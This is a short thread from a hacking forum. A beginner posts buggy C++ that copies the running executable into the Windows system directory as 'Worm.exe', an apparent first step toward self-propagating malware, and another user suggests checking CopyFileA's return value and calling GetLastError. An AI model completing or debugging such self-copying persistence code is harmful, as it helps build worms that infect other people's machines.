

Forum:[Hack Forums](#)

Thread: [CopyFile](#)

zapfen - April 23, 2013, 9:22 am

I Found it out on my own :)

Thanks anyway :P

-zapfen

Spoiler ([Click to View](#))

Hey Guys,

i have got an Problem with copying the File itself to Windows Directory..

My Code sofar:

just ignore the cout's its the first time i used methods like GetModuleFileName etc, just wanted to know what they return..

I dont even know if i used these methods correctly :S

Code char SysPath[MAX_PATH];

```
GetSystemDirectoryA( SysPath, sizeof( SysPath ) );
```

```
std::cout << SysPath << std::endl;
```

```
HMODULE mod = GetModuleHandle( NULL );
```

```
char currentPath[MAX_PATH];
```

```
GetModuleFileNameA(mod, currentPath, MAX_PATH);
```

```
std::cout << currentPath << std::endl;
```

```
char *NFN[] = { strcat( SysPath, "\\MyFile.exe" ) };
```

```
std::cout << *NFN << std::endl;
```

```
strcat( SysPath, "\\Worm.exe" );
```

```
try{  
    CopyFileA( currentPath, SysPath, false );  
}
```

```
catch( int i ) {  
  
    std::cout << "Failed" << std::endl;
```

```
}
```

It does not Fail, but it does not work either :S

Any ideas?

Thanks in advance :P

-Zapfen

Shihanus - *April 23, 2013, 2:07 pm*

That code looks so ugly.

How about checking the return value of CopyFileA And calling GetLastError?